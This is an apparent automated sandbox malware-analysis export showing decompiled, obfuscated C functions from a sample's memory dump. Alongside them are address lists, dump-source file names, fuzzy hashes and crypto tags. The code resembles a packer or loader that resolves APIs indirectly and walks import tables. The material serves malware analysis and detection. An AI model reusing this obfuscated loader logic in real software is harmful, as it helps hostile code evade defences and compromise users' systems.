					_pop( *_t41);
					_pop(_t178);
				}
				_t216 = _t214 & 0x00000000 ^ (_t205 ^ _v20 | _t178);
				_t208 = _t205;
				if( *(_t170 + 0x4183c4) == 0) {
					_t161 =  *((intOrPtr*)(_t170 + 0x45d024))();
					_v20 = _t239;
					 *(_t170 + 0x4183c4) = 0 ^ _t161;
					_t239 = 0;
				}
				_v20 = _v20 ^ _t178;
				_t179 = _t178;
				_t45 = _t170 + 0x41847c; // 0x41847c
				_v20 = _v20 ^ _t230;
				_v20 = _t45;
				_t146 =  *((intOrPtr*)(_t170 + 0x45d018))(_t230);
				 *(_t170 + 0x418527) =  *(_t170 + 0x418527) & 0x00000000;
				 *(_t170 + 0x418527) =  *(_t170 + 0x418527) ^ _t179 -  *_t251 ^ _t146;
				_t182 = _t179;
				 *_t251 = _t170;
				_v8 = _t216;
				_t173 = 0;
				_t52 = _t173 + 0x4182af; // 0x4182af
				_v12 = _v12 & 0x00000000;
				 *_t251 =  *_t251 ^ _t52;
				_t148 =  *((intOrPtr*)(_t173 + 0x45d018))(_v12);
				 *(_t173 + 0x41824b) =  *(_t173 + 0x41824b) & 0x00000000;
				 *(_t173 + 0x41824b) =  *(_t173 + 0x41824b) | _t239 ^  *_t251 ^ _t148;
				_t242 = _t239;
				_push(0);
				if( *((intOrPtr*)(_t173 + 0x418107)) == 0) {
					_t160 =  *((intOrPtr*)(_t173 + 0x45d020))();
					_v32 = _t242;
					 *((intOrPtr*)(_t173 + 0x418107)) = _t160;
					_t242 = 0;
				}
				_t149 =  *((intOrPtr*)(_t173 + 0x45d030))();
				if( *((intOrPtr*)(_t173 + 0x418597)) == 0) {
					_v12 = _v12 & 0x00000000;
					_push(_v12);
					_v32 = _v32 + _t182;
					_push(_t242);
					 *_t251 =  *(_t173 + 0x418460);
					_push(_t182);
					_push( *_t251);
					_v40 =  *((intOrPtr*)(_t173 + 0x418623));
					_pop(_t242);
					_v44 =  *((intOrPtr*)(_t173 + 0x4181bb));
					_v48 = _v48 ^ _t216;
					_v48 = _t230;
					_t149 =  *((intOrPtr*)(_t173 + 0x45d044))(_t182);
					 *_t76 = _t149;
					_push(_v12);
					_pop( *_t78);
					_t182 = _t216;
				}
				do {
					_v8 = _v8 - 1;
					if( *((intOrPtr*)(_t173 + 0x4182fb)) == 0) {
						_v12 = 0;
						_v32 = _v32 | _t182;
						_t242 =  *_t251;
						 *_t251 =  *(_t173 + 0x4184ff);
						_v40 =  *((intOrPtr*)(_t173 + 0x418371));
						_v44 =  *((intOrPtr*)(_t173 + 0x41810f));
						_t211 = _t208;
						_v48 =  *((intOrPtr*)(_t173 + 0x41825b));
						_t216 = _t216;
						_t149 =  *((intOrPtr*)(_t173 + 0x45d044))(_t230, _t182, _t242, _v12);
						_v12 = _t211;
						 *((intOrPtr*)(_t173 + 0x4182fb)) = _t149;
						_t208 = _v12;
						_t182 = _t149;
					}
					_v12 = _t230;
					_t218 = _t216 & 0x00000000 | _t230 - _v12 ^ _t182;
					_t230 = _v12;
					if( *(_t173 + 0x4182bf) == 0) {
						_v32 = _v32 ^ _t173;
						_v32 = _v32 | _t182;
						 *_t251 = 2;
						_v40 =  *((intOrPtr*)(_t173 + 0x4180c3));
						_t218 = _v44;
						_v44 =  *((intOrPtr*)(_t173 + 0x418369));
						_t155 =  *((intOrPtr*)(_t173 + 0x45d03c))(_t149, _t242, _t173);
						_v12 = _t230;
						 *(_t173 + 0x4182bf) = 0 ^ _t155;
						_t230 = _v12;
						_t182 = _t218;
					}
					_v12 = _v12 & 0x00000000;
					_v32 = _v32 + _t182;
					_t112 = _t173 + 0x41855a; // 0x41855a
					_v12 = _v12 & 0x00000000;
					 *_t251 =  *_t251 ^ _t112;
					_t151 =  *((intOrPtr*)(_t173 + 0x45d018))(_v12, _v12);
					 *(_t173 + 0x418408) =  *(_t173 + 0x418408) & 0x00000000;
					 *(_t173 + 0x418408) =  *(_t173 + 0x418408) | _t182 ^ _v40 ^ _t151;
					_t186 = _t182;
					_t220 = _t218 + _a4 + 1;
					if( *(_t173 + 0x418047) == 0) {
						 *_t251 = _t186;
						_v40 =  *((intOrPtr*)(_t173 + 0x4182c3));
						_v44 =  *((intOrPtr*)(_t173 + 0x418424));
						_v12 = 0;
						_v48 = _v48 | _t173;
						_t159 =  *((intOrPtr*)(_t173 + 0x45d040))(_v12, _t186, _t151, _t220, _v12);
						_v12 = _t220;
						 *(_t173 + 0x418047) = 0 ^ _t159;
						_t220 = _v12;
						_pop(_t186);
					}
					 *_t251 =  *_t251 - _t230;
					 *_t251 = _t186;
					_t173 = _t173;
					 *((intOrPtr*)(_t173 + 0x45d038))(_t230);
					_push((_t220 + _a8 | _a4) + 1);
					_t216 = _v40;
					_v40 = _v8;
					_v12 = _v12 & 0x00000000;
					_push(_v12);
					_v44 = _v44 | _t216;
					_v48 = _a8;
					_t208 = _t208;
					_t149 = E02596424(_t173, _t186, _t216, _t230);
					_t182 = _t230;
				} while (_v8 != 0);
				return 0;
			}

0x02591000
0x02591000
0x02591000
0x02591000
0x0259100d
0x0259100f
0x02591016
0x02591016
0x02591019
0x02591021
0x02591025
0x02591026
0x02591027
0x0259102a
0x0259102d
0x02591034
0x02591034
0x02591037
0x0259103f
0x02591044
0x0259104a
0x02591051
0x02591057
0x02591057
0x0259105a
0x0259105e
0x02591061
0x0259106b
0x02591074
0x0259107e
0x0259107e
0x02591088
0x02591088
0x02591093
0x02591097
0x02591098
0x025910a4
0x025910ab
0x025910b1
0x025910b1
0x025910b2
0x025910be
0x025910c0
0x025910ca
0x025910cc
0x025910d6
0x025910df
0x025910e0
0x025910e3
0x025910e6
0x025910ec
0x025910ec
0x025910f6
0x025910f8
0x02591100
0x02591102
0x0259110a
0x02591111
0x02591117
0x02591117
0x02591119
0x0259111c
0x0259111d
0x02591124
0x02591127
0x0259112a
0x02591136
0x0259113d
0x02591143
0x02591146
0x0259114d
0x02591150
0x02591151
0x02591157
0x0259115e
0x02591161
0x0259116d
0x02591174
0x0259117a
0x0259117b
0x02591184
0x02591186
0x0259118e
0x02591195
0x0259119b
0x0259119b
0x0259119c
0x025911a9
0x025911ab
0x025911af
0x025911b2
0x025911b5
0x025911bc
0x025911bf
0x025911c0
0x025911c7
0x025911cb
0x025911d3
0x025911d7
0x025911da
0x025911dd
0x025911e4
0x025911e7
0x025911ea
0x025911f0
0x025911f0
0x025911f1
0x025911f1
0x025911fb
0x025911fd
0x02591207
0x02591211
0x02591211
0x0259121b
0x02591226
0x0259122a
0x02591233
0x02591237
0x02591238
0x0259123e
0x02591245
0x0259124b
0x0259124e
0x0259124e
0x0259124f
0x0259125a
0x0259125c
0x02591266
0x02591269
0x0259126c
0x02591270
0x0259127e
0x02591288
0x02591288
0x0259128b
0x02591291
0x02591298
0x0259129e
0x025912a1
0x025912a1
0x025912a5
0x025912ac
0x025912af
0x025912b5
0x025912bc
0x025912bf
0x025912cb
0x025912d2
0x025912d9
0x025912da
0x025912e2
0x025912e7
0x025912f2
0x025912fe
0x02591301
0x0259130b
0x0259130e
0x02591314
0x0259131b
0x02591321
0x02591324
0x02591324
0x02591326
0x02591329
0x02591337
0x02591339
0x0259133f
0x02591343
0x02591343
0x02591346
0x0259134a
0x0259134d
0x02591355
0x02591359
0x0259135a
0x0259135f
0x02591360
0x02591371

Memory Dump Source

Source File: 00000000.00000002.493231718.0000000002590000.00000040.00000001.sdmp, Offset: 02590000, based on PE: true

Associated: 00000000.00000002.493383695.00000000025A8000.00000040.00000001.sdmp Download File
Associated: 00000000.00000002.493417448.00000000025ED000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4342e90b92e638b973889a9d05bcbe9378d07ee4f75416b9680d699ffb522fa4
Instruction ID: 2065a9c8eda43a385109dea767b659c13cdcb8cd45b1847eef35c728c91df223
Opcode Fuzzy Hash: 4342e90b92e638b973889a9d05bcbe9378d07ee4f75416b9680d699ffb522fa4
Instruction Fuzzy Hash: 1BC19D72808208EFEF149F64C8897AEBBF5FF48715F15449DEC899E246DB702590CB68

Uniqueness

Uniqueness Score: -1.00%

Function 0259247B, Relevance: .3, Instructions: 254
COMMONCrypto

Download Yara Rule

C-Code - Quality: 95%

			E0259247B(void* __ecx, signed int __edx, signed int __edi) {
				signed int _t153;
				signed int _t157;
				signed int _t159;
				signed int _t160;
				signed int _t161;
				signed int _t164;
				void* _t166;
				signed int _t168;
				signed int _t169;
				signed int _t172;
				void* _t178;
				signed int _t179;
				signed int _t187;
				signed int _t193;
				signed int _t197;
				signed int _t199;
				signed int _t201;
				signed int _t206;
				void* _t216;
				signed int _t218;
				signed int _t221;
				signed int _t233;
				void* _t236;
				signed int _t237;
				signed int _t239;
				void* _t240;
				void* _t250;
				signed int _t252;
				signed int _t255;
				signed int* _t260;

				_t221 = __edi;
				_t197 = __edx;
				_t172 = 0x418087;
				 *((intOrPtr*)(_t255 + 0x13)) =  *((intOrPtr*)(_t255 + 0x13)) + __edx;
				_t153 =  *0x008750A3();
				 *_t4 = _t153;
				 *0x0083010E =  *(_t255 - 0x10);
				while(1) {
					L7:
					 *_t260 = _t153;
					_t233 = 0 ^  *_t221;
					_t153 = 0;
					if( *(_t172 + 0x41816b) == 0) {
						_t260[1] =  *(_t172 + 0x418487);
						_t197 =  *_t260;
						 *_t260 =  *(_t172 + 0x418338);
						_t187 =  *_t260;
						 *_t260 =  *(_t172 + 0x4183ec);
						_t153 =  *((intOrPtr*)(_t172 + 0x45d03c))(_t179, _t197, _t153, _t233);
						 *(_t255 - 0x10) = _t187;
						 *(_t172 + 0x41816b) =  *(_t172 + 0x41816b) & 0x00000000;
						 *(_t172 + 0x41816b) =  *(_t172 + 0x41816b) | _t187 ^  *(_t255 - 0x10) ^ _t153;
						_t179 =  *(_t255 - 0x10);
					}
					while(1) {
						_push(_t153);
						_t157 =  *_t260;
						 *_t260 =  *(_t221 + 0x10);
						if( *(_t172 + 0x4185cb) == 0) {
							_t157 =  *((intOrPtr*)(_t172 + 0x45d024))();
							 *_t260 = _t221;
							 *(_t172 + 0x4185cb) = 0 ^ _t157;
							_t221 = 0;
						}
						_pop( *_t48);
						if( *(_t172 + 0x418273) == 0) {
							_t157 =  *((intOrPtr*)(_t172 + 0x45d020))();
							 *_t260 = _t179;
							 *(_t172 + 0x418273) = _t157;
							_t179 = 0;
						}
						_t159 = _t157 & 0x00000000 | _t233 & 0x00000000 ^  *(_t255 + 8);
						_t236 = _t233;
						if( *(_t172 + 0x418203) == 0) {
							 *_t260 =  *_t260 & 0x00000000;
							 *_t260 =  *_t260 | _t159;
							_t169 =  *((intOrPtr*)(_t172 + 0x45d020))();
							 *(_t255 - 0x10) = _t221;
							 *(_t172 + 0x418203) = 0 ^ _t169;
							_t221 =  *(_t255 - 0x10);
							_t159 = _t221;
						}
						 *(_t255 - 0xc) =  *(_t255 - 0xc) + _t159;
						if( *(_t172 + 0x4184ef) == 0) {
							 *_t260 =  *(_t172 + 0x418127);
							_t221 =  *_t260;
							 *_t260 =  *(_t172 + 0x4182f7);
							_t260[1] =  *(_t172 + 0x4185f7);
							_t250 = _t236;
							_t252 =  *_t260;
							 *_t260 =  *(_t172 + 0x41827f);
							_t159 =  *((intOrPtr*)(_t172 + 0x45d048))(_t260, _t250, _t236, _t221, _t179);
							 *(_t172 + 0x4184ef) =  *(_t172 + 0x4184ef) & 0x00000000;
							 *(_t172 + 0x4184ef) =  *(_t172 + 0x4184ef) | _t252 ^  *_t260 | _t159;
							_t236 = _t252;
						}
						 *_t75 =  *((intOrPtr*)(_t221 + 0xc));
						_t178 =  *(_t255 - 0x10);
						if( *(_t172 + 0x418334) == 0) {
							 *_t260 =  *_t260 ^ _t172;
							 *_t260 =  *_t260 + _t178;
							_t193 =  *_t260;
							 *_t260 =  *(_t172 + 0x41838d);
							_t260[1] =  *(_t172 + 0x4185af);
							_t221 = _t221;
							_t255 =  *_t260;
							 *_t260 =  *(_t172 + 0x418410);
							_t159 =  *((intOrPtr*)(_t172 + 0x45d03c))(_t159, _t178, _t172);
							 *(_t255 - 0x10) = _t193;
							 *(_t172 + 0x418334) =  *(_t172 + 0x418334) & 0x00000000;
							 *(_t172 + 0x418334) =  *(_t172 + 0x418334) ^ (_t193 & 0x00000000 | _t159);
							_t178 = _t255;
						}
						_t179 = _t178 +  *(_t255 + 8);
						if( *(_t172 + 0x418474) == 0) {
							 *_t260 =  *_t260 & 0x00000000;
							 *_t260 =  *_t260 + _t179;
							_t159 =  *((intOrPtr*)(_t172 + 0x45d020))();
							 *(_t172 + 0x418474) =  *(_t172 + 0x418474) & 0x00000000;
							 *(_t172 + 0x418474) =  *(_t172 + 0x418474) | _t197 -  *_t260 ^ _t159;
							_t197 = _t197;
							_t179 = _t197;
						}
						_t237 = _t236 +  *(_t255 + 8);
						if( *(_t172 + 0x418020) == 0) {
							 *_t260 =  *_t260 - _t159;
							 *_t260 = _t179;
							 *_t260 =  *(_t172 + 0x418493);
							_t197 =  *_t260;
							 *_t260 =  *(_t172 + 0x418507);
							 *(_t255 - 0x10) =  *(_t255 - 0x10) & 0x00000000;
							 *_t260 =  *_t260 + _t172;
							 *_t260 =  *_t260 & 0x00000000;
							 *_t260 =  *_t260 ^ _t172;
							_t168 =  *((intOrPtr*)(_t172 + 0x45d044))( *(_t255 - 0x10),  *_t260, _t197, _t159);
							 *(_t255 - 0x10) = _t221;
							 *(_t172 + 0x418020) =  *(_t172 + 0x418020) & 0x00000000;
							 *(_t172 + 0x418020) =  *(_t172 + 0x418020) | _t221 ^  *(_t255 - 0x10) | _t168;
							_t221 =  *(_t255 - 0x10);
							_t179 = _t197;
						}
						 *_t260 = _t179;
						_t160 =  *((intOrPtr*)(_t172 + 0x45d00c))( *(_t255 - 0x10));
						 *(_t255 - 8) =  *(_t255 - 8) & 0x00000000;
						 *(_t255 - 8) =  *(_t255 - 8) ^ (_t172 -  *_t260 | _t160);
						_t172 = _t172;
						do {
							L24:
							if(( *_t237 & 0x80000000) != 0) {
								_t260[1] =  *_t237;
								_t199 = _t197;
								 *_t134 = _t221;
								 *(_t255 - 4) =  *(_t255 - 4) & 0x0000ffff;
							} else {
								 *(_t255 - 0x10) = 0;
								_push( *(_t255 - 0x10));
								 *_t260 =  *_t260 + _t237;
								_t206 = _t197;
								 *(_t255 - 0x10) = _t206;
								 *(_t255 - 4) =  *(_t255 - 4) & 0x00000000;
								 *(_t255 - 4) =  *(_t255 - 4) ^ _t206 ^  *(_t255 - 0x10) ^  *_t237 +  *(_t255 + 8) + 0x00000002;
								_t199 =  *(_t255 - 0x10);
								_pop(_t237);
							}
							 *_t138 =  *(_t255 - 4);
							_t161 =  *(_t255 - 0x10);
							_t260[1] =  *(_t255 - 4);
							_t201 = _t199;
							 *(_t255 - 0x10) = _t201;
							_t197 =  *(_t255 - 0x10);
							 *_t260 =  *_t260 ^ _t255;
							 *_t260 =  *_t260 + (_t161 & 0x00000000 | _t201 & 0x00000000 |  *(_t255 - 8));
							_t164 =  *((intOrPtr*)(_t172 + 0x45d008))(_t255, _t221);
							_push( *(_t255 - 0x10));
							 *_t260 = _t237;
							_t239 = _t237 & 0x00000000 ^ (_t221 & 0x00000000 |  *(_t255 - 0xc));
							_t221 = _t221;
							 *(_t255 - 0x10) = _t179;
							 *_t239 =  *_t239 & 0x00000000;
							 *_t239 =  *_t239 | _t179 & 0x00000000 ^ _t164;
							_t179 =  *(_t255 - 0x10);
							_pop(_t240);
							 *_t260 = 4;
							_t153 = _t221;
							_t237 = _t240 + _t153;
							 *(_t255 - 0xc) =  *(_t255 - 0xc) + _t153;
						} while ( *_t237 != 0);
						_t221 = _t221 + 0x14;
						_t255 = _t255;
						if( *_t221 != 0 ||  *(_t221 + 0x10) != 0) {
							if( *_t221 != 0) {
								goto L7;
							}
							if( *(_t172 + 0x418420) == 0) {
								_t153 =  *((intOrPtr*)(_t172 + 0x45d024))();
								 *(_t255 - 0x10) = _t179;
								 *(_t172 + 0x418420) = 0 ^ _t153;
								_t179 =  *(_t255 - 0x10);
							}
							 *(_t255 - 0x10) = _t172;
							_t233 = _t237 & 0x00000000 ^ _t172 -  *(_t255 - 0x10) ^  *(_t221 + 0x10);
							_t172 =  *(_t255 - 0x10);
							if( *(_t172 + 0x41812f) == 0) {
								_t260[1] =  *(_t172 + 0x418033);
								_t166 = _t153;
								 *_t260 =  *_t260 & 0x00000000;
								 *_t260 =  *_t260 + _t166;
								_t260[1] =  *(_t172 + 0x41813b);
								_t216 = _t197;
								_t218 =  *_t260;
								 *_t260 =  *(_t172 + 0x4182eb);
								_t153 =  *((intOrPtr*)(_t172 + 0x45d044))(_t216, _t233, _t172, _t153);
								 *(_t172 + 0x41812f) =  *(_t172 + 0x41812f) & 0x00000000;
								 *(_t172 + 0x41812f) =  *(_t172 + 0x41812f) ^ _t218 ^  *_t260 ^ _t153;
								_t197 = _t218;
							}
							_push(_t153);
							_t157 =  *_t260;
							 *_t260 =  *(_t221 + 0x10);
							if( *(_t172 + 0x4185cb) == 0) {
								_t157 =  *((intOrPtr*)(_t172 + 0x45d024))();
								 *_t260 = _t221;
								 *(_t172 + 0x4185cb) = 0 ^ _t157;
								_t221 = 0;
							}
							_pop( *_t48);
							if( *(_t172 + 0x418273) == 0) {
								_t157 =  *((intOrPtr*)(_t172 + 0x45d020))();
								 *_t260 = _t179;
								 *(_t172 + 0x418273) = _t157;
								_t179 = 0;
							}
							_t159 = _t157 & 0x00000000 | _t233 & 0x00000000 ^  *(_t255 + 8);
							_t236 = _t233;
							if( *(_t172 + 0x418203) == 0) {
								 *_t260 =  *_t260 & 0x00000000;
								 *_t260 =  *_t260 | _t159;
								_t169 =  *((intOrPtr*)(_t172 + 0x45d020))();
								 *(_t255 - 0x10) = _t221;
								 *(_t172 + 0x418203) = 0 ^ _t169;
								_t221 =  *(_t255 - 0x10);
								_t159 = _t221;
							}
							 *(_t255 - 0xc) =  *(_t255 - 0xc) + _t159;
							if( *(_t172 + 0x4184ef) == 0) {
								 *_t260 =  *(_t172 + 0x418127);
								_t221 =  *_t260;
								 *_t260 =  *(_t172 + 0x4182f7);
								_t260[1] =  *(_t172 + 0x4185f7);
								_t250 = _t236;
								_t252 =  *_t260;
								 *_t260 =  *(_t172 + 0x41827f);
								_t159 =  *((intOrPtr*)(_t172 + 0x45d048))(_t260, _t250, _t236, _t221, _t179);
								 *(_t172 + 0x4184ef) =  *(_t172 + 0x4184ef) & 0x00000000;
								 *(_t172 + 0x4184ef) =  *(_t172 + 0x4184ef) | _t252 ^  *_t260 | _t159;
								_t236 = _t252;
							}
							 *_t75 =  *((intOrPtr*)(_t221 + 0xc));
							_t178 =  *(_t255 - 0x10);
							if( *(_t172 + 0x418334) == 0) {
								 *_t260 =  *_t260 ^ _t172;
								 *_t260 =  *_t260 + _t178;
								_t193 =  *_t260;
								 *_t260 =  *(_t172 + 0x41838d);
								_t260[1] =  *(_t172 + 0x4185af);
								_t221 = _t221;
								_t255 =  *_t260;
								 *_t260 =  *(_t172 + 0x418410);
								_t159 =  *((intOrPtr*)(_t172 + 0x45d03c))(_t159, _t178, _t172);
								 *(_t255 - 0x10) = _t193;
								 *(_t172 + 0x418334) =  *(_t172 + 0x418334) & 0x00000000;
								 *(_t172 + 0x418334) =  *(_t172 + 0x418334) ^ (_t193 & 0x00000000 | _t159);
								_t178 = _t255;
							}
							_t179 = _t178 +  *(_t255 + 8);
							if( *(_t172 + 0x418474) == 0) {
								 *_t260 =  *_t260 & 0x00000000;
								 *_t260 =  *_t260 + _t179;
								_t159 =  *((intOrPtr*)(_t172 + 0x45d020))();
								 *(_t172 + 0x418474) =  *(_t172 + 0x418474) & 0x00000000;
								 *(_t172 + 0x418474) =  *(_t172 + 0x418474) | _t197 -  *_t260 ^ _t159;
								_t197 = _t197;
								_t179 = _t197;
							}
							_t237 = _t236 +  *(_t255 + 8);
							if( *(_t172 + 0x418020) == 0) {
								 *_t260 =  *_t260 - _t159;
								 *_t260 = _t179;
								 *_t260 =  *(_t172 + 0x418493);
								_t197 =  *_t260;
								 *_t260 =  *(_t172 + 0x418507);
								 *(_t255 - 0x10) =  *(_t255 - 0x10) & 0x00000000;
								 *_t260 =  *_t260 + _t172;
								 *_t260 =  *_t260 & 0x00000000;
								 *_t260 =  *_t260 ^ _t172;
								_t168 =  *((intOrPtr*)(_t172 + 0x45d044))( *(_t255 - 0x10),  *_t260, _t197, _t159);
								 *(_t255 - 0x10) = _t221;
								 *(_t172 + 0x418020) =  *(_t172 + 0x418020) & 0x00000000;
								 *(_t172 + 0x418020) =  *(_t172 + 0x418020) | _t221 ^  *(_t255 - 0x10) | _t168;
								_t221 =  *(_t255 - 0x10);
								_t179 = _t197;
							}
							 *_t260 = _t179;
							_t160 =  *((intOrPtr*)(_t172 + 0x45d00c))( *(_t255 - 0x10));
							 *(_t255 - 8) =  *(_t255 - 8) & 0x00000000;
							 *(_t255 - 8) =  *(_t255 - 8) ^ (_t172 -  *_t260 | _t160);
							_t172 = _t172;
							goto L24;
						} else {
							_push(_t237);
							return _t153 ^ _t153;
						}
					}
				}
			}

0x0259247b
0x0259247b
0x0259247b
0x02592480
0x02592483
0x0259248a
0x02592490
0x02592496
0x02592496
0x02592498
0x0259249f
0x025924a1
0x025924a9
0x025924b3
0x025924bf
0x025924bf
0x025924c9
0x025924c9
0x025924cc
0x025924d2
0x025924da
0x025924e1
0x025924e7
0x025924e7
0x025924ea
0x025924ea
0x025924ee
0x025924ee
0x025924f8
0x025924fa
0x02592502
0x02592509
0x0259250f
0x0259250f
0x02592510
0x0259251a
0x0259251c
0x02592524
0x0259252b
0x02592531
0x02592531
0x0259253c
0x0259253e
0x02592546
0x02592549
0x0259254d
0x02592550
0x02592556
0x0259255d
0x02592563
0x02592566
0x02592566
0x02592567
0x02592571
0x0259257a
0x02592584
0x02592584
0x0259258f
0x02592593
0x0259259b
0x0259259b
0x0259259f
0x025925ab
0x025925b2
0x025925b8
0x025925b8
0x025925bc
0x025925c2
0x025925ca
0x025925cd
0x025925d0
0x025925da
0x025925da
0x025925e5
0x025925e9
0x025925f1
0x025925f1
0x025925f4
0x025925fa
0x02592602
0x02592609
0x02592612
0x02592612
0x02592613
0x0259261d
0x02592620
0x02592624
0x02592627
0x02592633
0x0259263a
0x02592640
0x02592641
0x02592641
0x02592642
0x0259264c
0x0259264f
0x02592652
0x0259265c
0x02592666
0x02592666
0x02592669
0x02592670
0x02592674
0x02592678
0x0259267b
0x02592681
0x02592689
0x02592690
0x02592696
0x02592699
0x02592699
0x0259269d
0x025926a0
0x025926ac
0x025926b0
0x025926b3
0x025926b4
0x025926b4
0x025926ba
0x025926f3
0x025926f7
0x025926f8
0x025926fb
0x025926bc
0x025926bc
0x025926c3
0x025926c6
0x025926d9
0x025926da
0x025926e2
0x025926e6
0x025926e9
0x025926ec
0x025926ec
0x02592705
0x0259270b
0x02592711
0x02592715
0x02592716
0x02592724
0x02592728
0x0259272b
0x0259272e
0x02592734
0x02592737
0x02592744
0x02592746
0x02592747
0x0259274f
0x02592752
0x02592754
0x02592757
0x02592759
0x02592760
0x02592761
0x02592763
0x02592766
0x02592778
0x0259277a
0x0259277e
0x025923f3
0x00000000
0x00000000
0x02592400
0x02592402
0x02592408
0x0259240f
0x02592415
0x02592415
0x02592418
0x02592424
0x02592426
0x02592430
0x0259243a
0x0259243e
0x02592440
0x02592444
0x0259244f
0x02592453
0x0259245b
0x0259245b
0x0259245e
0x0259246a
0x02592471
0x02592477
0x02592477
0x025924ea
0x025924ee
0x025924ee
0x025924f8
0x025924fa
0x02592502
0x02592509
0x0259250f
0x0259250f
0x02592510
0x0259251a
0x0259251c
0x02592524
0x0259252b
0x02592531
0x02592531
0x0259253c
0x0259253e
0x02592546
0x02592549
0x0259254d
0x02592550
0x02592556
0x0259255d
0x02592563
0x02592566
0x02592566
0x02592567
0x02592571
0x0259257a
0x02592584
0x02592584
0x0259258f
0x02592593
0x0259259b
0x0259259b
0x0259259f
0x025925ab
0x025925b2
0x025925b8
0x025925b8
0x025925bc
0x025925c2
0x025925ca
0x025925cd
0x025925d0
0x025925da
0x025925da
0x025925e5
0x025925e9
0x025925f1
0x025925f1
0x025925f4
0x025925fa
0x02592602
0x02592609
0x02592612
0x02592612
0x02592613
0x0259261d
0x02592620
0x02592624
0x02592627
0x02592633
0x0259263a
0x02592640
0x02592641
0x02592641
0x02592642
0x0259264c
0x0259264f
0x02592652
0x0259265c
0x02592666
0x02592666
0x02592669
0x02592670
0x02592674
0x02592678
0x0259267b
0x02592681
0x02592689
0x02592690
0x02592696
0x02592699
0x02592699
0x0259269d
0x025926a0
0x025926ac
0x025926b0
0x025926b3
0x00000000
0x0259278e
0x0259278e
0x02592799
0x02592799
0x0259277e
0x025924ea

Memory Dump Source

Source File: 00000000.00000002.493231718.0000000002590000.00000040.00000001.sdmp, Offset: 02590000, based on PE: true

Associated: 00000000.00000002.493383695.00000000025A8000.00000040.00000001.sdmp Download File
Associated: 00000000.00000002.493417448.00000000025ED000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5063cc60d0f54240b9a3c44f49a1b41b478f4e192b9dbd546f22f91da9e65e9d
Instruction ID: 918fc501c6392eb1eeb8d9c2bf9c4cbf69a362a65b437db0ac7ee5f56d41619a
Opcode Fuzzy Hash: 5063cc60d0f54240b9a3c44f49a1b41b478f4e192b9dbd546f22f91da9e65e9d
Instruction Fuzzy Hash: 52B16932804215EFEF14CF64C8897AABBF5FF84725F09886DDC889A145DB781850CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 02596424, Relevance: .2, Instructions: 241
COMMONCrypto

Download Yara Rule

C-Code - Quality: 90%

			E02596424(signed int __ebx, signed int __ecx, signed int __edi, signed int __esi, signed int _a4, signed int _a8, signed int _a12) {
				signed int _v8;
				signed int _v12;
				signed int _v20;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _t116;
				signed int _t118;
				signed int _t119;
				signed int _t123;
				signed int _t125;
				signed int _t126;
				signed int _t129;
				signed int _t132;
				void* _t133;
				signed int _t136;
				intOrPtr _t139;
				signed int _t140;
				signed int _t141;
				signed int _t142;
				signed int _t143;
				void* _t146;
				signed int _t147;
				void* _t150;
				signed int _t152;
				signed int _t153;
				signed int _t159;
				signed int _t162;
				signed int _t174;
				signed int _t180;
				signed int _t183;
				void* _t188;
				signed int* _t194;
				signed int _t197;
				void* _t200;
				signed int* _t207;
				signed int* _t208;
				signed int* _t210;

				_t183 = __esi;
				_t167 = __edi;
				_t147 = __ecx;
				_t143 = __ebx;
				_t194 = _t207;
				_t208 =  &(_t207[0xfffffffffffffffe]);
				if( *(__ebx + 0x41863f) == 0) {
					_push(__edi);
					 *_t208 =  *(__ebx + 0x418267);
					_push(__ecx);
					_push( *_t208);
					_v20 =  *((intOrPtr*)(__ebx + 0x4180fb));
					_pop(_t180);
					_push(_v12);
					 *_t208 = _t208;
					_t142 =  *((intOrPtr*)(__ebx + 0x45d03c))();
					_v8 = _t180;
					 *(__ebx + 0x41863f) =  *(__ebx + 0x41863f) & 0x00000000;
					 *(__ebx + 0x41863f) =  *(__ebx + 0x41863f) | _t180 ^ _v8 | _t142;
					_t167 = _v8;
				}
				 *_t208 =  *_t208 & 0x00000000;
				 *_t208 =  *_t208 ^ _t183;
				_t15 = _t143 + 0x418344; // 0x418344
				_v8 = _v8 & 0x00000000;
				_v20 = _v20 + _t15;
				_t116 =  *((intOrPtr*)(_t143 + 0x45d018))(_v8, _t147);
				 *(_t143 + 0x4182b7) =  *(_t143 + 0x4182b7) & 0x00000000;
				 *(_t143 + 0x4182b7) =  *(_t143 + 0x4182b7) | _t159 & 0x00000000 | _t116;
				_t162 = _t159;
				_t118 = _t116 & 0x00000000 ^ (_t143 & 0x00000000 | _a4);
				_t146 = _t143;
				if( *(_t146 + 0x4183ac) == 0) {
					 *_t208 =  *_t208 - _t146;
					 *_t208 = _t118;
					_v28 =  *((intOrPtr*)(_t146 + 0x4184c7));
					_t174 = _t167;
					_v32 =  *((intOrPtr*)(_t146 + 0x418464));
					_t162 = _t162;
					_v36 =  *((intOrPtr*)(_t146 + 0x4180db));
					_t194 = _t194;
					_t141 =  *((intOrPtr*)(_t146 + 0x45d040))(_t183, _t162, _t146);
					 *_t208 = _t174;
					 *(_t146 + 0x4183ac) = 0 ^ _t141;
					_t167 = 0;
					_t118 = _t183;
				}
				_t119 = _t118 - 1;
				if( *(_t146 + 0x4180ef) == 0) {
					_v8 = 0;
					 *_t208 =  *_t208 ^ _t119;
					_t140 =  *((intOrPtr*)(_t146 + 0x45d01c))(_v8);
					_v12 = _t167;
					 *(_t146 + 0x4180ef) =  *(_t146 + 0x4180ef) & 0x00000000;
					 *(_t146 + 0x4180ef) =  *(_t146 + 0x4180ef) ^ (_t167 & 0x00000000 | _t140);
					_t167 = _v12;
					_pop(_t119);
				}
				if(_t119 > 0) {
					if(_a12 != 0) {
						if( *(_t146 + 0x418324) == 0) {
							_v12 = _v12 & 0x00000000;
							 *_t208 =  *_t208 | _t119;
							_v28 =  *((intOrPtr*)(_t146 + 0x41861b));
							_t197 = _t194;
							_t147 = _v32;
							_v32 =  *((intOrPtr*)(_t146 + 0x4185bf));
							_v36 =  *((intOrPtr*)(_t146 + 0x4185c3));
							_t129 =  *((intOrPtr*)(_t146 + 0x45d040))(_t147, _t194, _v12);
							 *(_t146 + 0x418324) =  *(_t146 + 0x418324) & 0x00000000;
							 *(_t146 + 0x418324) =  *(_t146 + 0x418324) | _t197 & 0x00000000 | _t129;
							_t194 = _t197;
							_t119 = _t119;
						}
						_t123 = _t119;
						 *_t208 = _t123;
						_v28 = _v28 & 0x00000000;
